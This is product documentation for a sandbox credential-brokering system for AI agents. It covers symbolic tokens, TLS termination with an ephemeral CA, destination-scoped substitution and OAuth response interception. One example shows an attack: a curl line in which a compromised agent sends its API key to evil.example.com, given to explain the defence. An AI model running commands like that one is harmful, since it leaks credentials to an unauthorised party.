Skip to main content

Credential Brokering

Credential brokering is the process of protecting real API keys by replacing them with symbolic tokens inside the sandbox, performing TLS termination to inspect requests, and substituting real credentials on the trusted host side. Agents interact with external APIs normally, but never have access to the actual credentials.

The Problem​

AI agents need API keys to call LLM providers and external APIs. Passing real keys into sandboxed environments creates risk:

  • Compromised agents could exfiltrate keys — a prompt injection or buggy tool could send your API key to an unauthorized endpoint
  • Standard env var injection means the agent has the real key — even with sandbox isolation, the key is in memory
  • Revocation is difficult — if a key leaks, you must rotate it everywhere it's used

Credential brokering solves this by ensuring real credentials never enter the sandbox.

How It Works​

1. Host startup
│ Generate symbolic token (mav-tok-a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6)
│
▼
2. Token injected as guest env var
│ e.g. ANTHROPIC_API_KEY=mav-tok-a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
│
▼
3. Agent code uses token normally
│ requests.post("https://api.anthropic.com/v1/messages",
│ headers={"x-api-key": os.environ["ANTHROPIC_API_KEY"]})
│
▼
4. Guest proxy terminates TLS
│ Ephemeral CA signs per-host certificate
│ Decrypted request headers and body now visible
│
▼
5. Decrypted request securely forwarded to host over the [hostlink session](/concepts/architecture#hostlink-session) (UDS or TCP+mTLS, depending on sandbox mode and host OS)
│
▼
6. Host checks policy (MPE evaluation)
│ Resource: mrn:agentvisor:http:api.anthropic.com/v1/messages
│
├─ DENIED → return 403
│
▼
7. Host substitutes symbolic token → real credential
│ "x-api-key: mav-tok-a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
│ → "x-api-key: sk-ant-real-key-here"
│
▼
8. Host makes HTTPS request to upstream with real API key
│
▼
9. Response returns through chain to agent

The agent never sees the real credential — only the symbolic token, which is useless outside the sandbox.

Symbolic Tokens​

Symbolic tokens have the format mav-tok-<32 hex chars> (e.g., mav-tok-a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6). The mav prefix stands for Manetu AgentVisor.

Tokens are:

  • Auto-generated at host startup using cryptographically secure random bytes
  • Unique per credential rule — each configured credential gets its own token
  • Injected into guest env vars — the agent sees them as normal API keys
  • Useless outside the sandbox — they have no meaning to external services

Example​

If you configure a credential rule with guest_env_var: ANTHROPIC_API_KEY, the agent sees:

# Inside the sandbox
echo $ANTHROPIC_API_KEY
# mav-tok-a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6

The agent uses this value in HTTP requests. The host recognizes the symbolic token in request headers and substitutes the real credential before making the upstream request.

Ephemeral CA & TLS Termination​

To inspect HTTPS request headers for symbolic tokens, the guest proxy performs TLS termination using an ephemeral Certificate Authority.

CA lifecycle:

  • Generated per guest startup
  • Valid for 30 days (configurable via AGENTVISOR_GUEST_CA_VALIDITY), regenerated on each restart
  • Self-signed

Per-host certificates:

  • Generated on demand when the proxy first sees a request to a new hostname
  • Default validity 1 hour (configurable via AGENTVISOR_GUEST_CERT_VALIDITY), cached for reuse
  • Signed by the ephemeral CA

CA bundle:

  • A combined CA bundle (system CAs + ephemeral CA) is written to the sandbox
  • The bundle path is exported into the agent process via four environment variables, so common HTTP toolchains pick it up automatically:
    • SSL_CERT_FILE — OpenSSL-based libraries (httpx, urllib3, aiohttp, …)
    • REQUESTS_CA_BUNDLE — Python requests
    • CURL_CA_BUNDLE — curl
    • NODE_EXTRA_CA_CERTS — Node.js
  • Agent HTTP clients trust both public CAs and the proxy CA transparently

No code changes are needed in the agent — standard HTTP libraries automatically pick up the bundle from one of the env vars above.

Resolver Types​

The credential resolver system supports five credential types:

TypeConnection ModelDescription
bearer_tokenStatic (shared)Bearer token from host environment variable
api_keyStatic (shared)API key injected into a custom header
principal_passthroughPer-principal (pooled)Forward caller's JWT to upstream service
token_exchangePer-principal (pooled)RFC 8693 token exchange for scoped tokens
response_interceptStatic (shared)Intercepts OAuth token-endpoint responses and replaces real tokens with symbolic ones (see OAuth Response Body Interception)

Static credentials (bearer_token, api_key) are resolved once at startup and cached. They are shared across all principals.

Principal-bound credentials (principal_passthrough, token_exchange) are resolved per-request based on the caller's identity. These support multi-tenant scenarios where each user's credentials are different.

Configuration​

Credential rules live under proxy.credentials in agentvisor.yaml, each pairing a guest_env_var (where the symbolic token is injected) and a resolver (how to obtain the real credential) with a required destinations list of hostname patterns. That requirement is what prevents credential exfiltration: if a compromised agent sends its symbolic token to an unauthorized host, the substitution never happens — the attacker receives only the worthless placeholder, not the real credential.

# A compromised agent tries to exfiltrate the Anthropic key
curl -H "Authorization: Bearer $ANTHROPIC_API_KEY" https://evil.example.com/steal
# evil.example.com doesn't match the configured "api\.anthropic\.com" destination
# pattern, so the real key is never substituted — only the placeholder is sent.

APIs that expect the credential in a custom header (not Authorization: Bearer) use the api_key resolver instead of bearer_token.

See the Configuration Reference for the full field list, resolver types, and destination-matching semantics.

Shared Credential System​

Credential resolution is identical across all three surfaces that broker external credentials: HTTP proxy requests, MCP server connections, and A2A agent connections. The same resolver types, the same configuration shapes (proxy.credentials[], mcp.servers[].credentials, and a2a_gateway.agents[].credentials), and the same destination/principal semantics apply across all three.

In practice this means:

  • A credential rule you write for HTTP proxy works the same way for an MCP server or an A2A agent.
  • New resolver types you adopt automatically apply across all three surfaces.
  • Behavior is predictable: the same rule produces the same substitution behavior whether invoked via HTTP, MCP, or A2A.

OAuth Response Body Interception​

The credential brokering described above operates on outbound request headers — replacing symbolic tokens with real credentials before they reach the upstream. But OAuth flows introduce a different problem: real credentials arrive in response bodies from token endpoints.

When an agent performs an OAuth login (e.g., GitHub device flow, Claude Code OAuth), the token endpoint returns real access_token and refresh_token values in the HTTP response body. Without interception, these real credentials enter the guest sandbox.

How It Works​

Response interception uses resolver.type: response_intercept to scan response bodies from configured URLs:

Agent → POST /oauth/token → Upstream
↓
{"access_token":"REAL-TOKEN",...}
↓
Host intercepts response, rewrites token
↓
{"access_token":"gho_mav1a2b3c4d5e6f",...}
↓
Agent stores symbolic token

Three-phase lifecycle:

  1. Intercept — When the upstream returns a response matching a configured URL pattern and HTTP method, the host parses the JSON body, replaces configured fields with format-compatible symbolic tokens, and caches the symbolic-to-real mapping in a per-principal LRU cache.

  2. Header substitution — When the agent makes subsequent API requests using the symbolic token in headers (e.g., Authorization: Bearer gho_mav...), the host replaces it with the real credential before forwarding the request.

  3. Body substitution — When the agent sends a token refresh request with the symbolic refresh token in the request body, the host replaces it with the real refresh token before forwarding upstream.

Configuration​

Set resolver.type: response_intercept on a credential rule for device-flow OAuth, where no pre-existing API key exists on the host to broker from. See Response Interception in the Configuration Reference for the full field list (url_patterns, methods, token_fields).

Graceful Degradation​

Most failure modes pass the response through unchanged, but a body that can't be parsed as JSON is treated as fail-closed rather than pass-through:

  • Non-JSON response — the request is aborted with an error (response interception failed: ...); the response body is never forwarded to the guest, since it might contain a real credential the interceptor couldn't inspect
  • Missing fields — only present fields are intercepted; absent fields are ignored
  • Nested paths — token_fields[].field matches top-level JSON keys only; a path like data.access_token is treated as an absent field and silently ignored
  • Non-string fields — logged as warning, field skipped
  • Token generation failure — logged as error, field skipped

Per-Principal Isolation​

Intercepted tokens are cached in a two-level LRU: principal -> (symbolic -> real). Each principal gets their own bounded cache (default: 100 tokens per principal, 1000 principals). Old tokens are naturally evicted when the cache fills, and each cached mapping also expires after AGENTVISOR_PROXY_INTERCEPT_CACHE_TTL (default 15m) regardless of cache pressure.

Security Properties​

  • Real credentials never enter the sandbox — agents only see symbolic tokens, including OAuth tokens intercepted from response bodies
  • Symbolic tokens are cryptographically random — 16 random bytes (128 bits of entropy) per token
  • Short-lived TLS certificates — ephemeral CA (30 days) and per-host certs (1h) limit exposure
  • Policy enforced before substitution — credentials are only substituted for policy-approved requests
  • Destination-scoped credentials — credential substitution only occurs for explicitly configured hostnames
  • All credential-bearing requests are auditable — the host logs every substitution
  • Token-to-credential mapping is in-memory only — never persisted to disk
  • Per-principal cache isolation — intercepted tokens from different principals cannot intermingle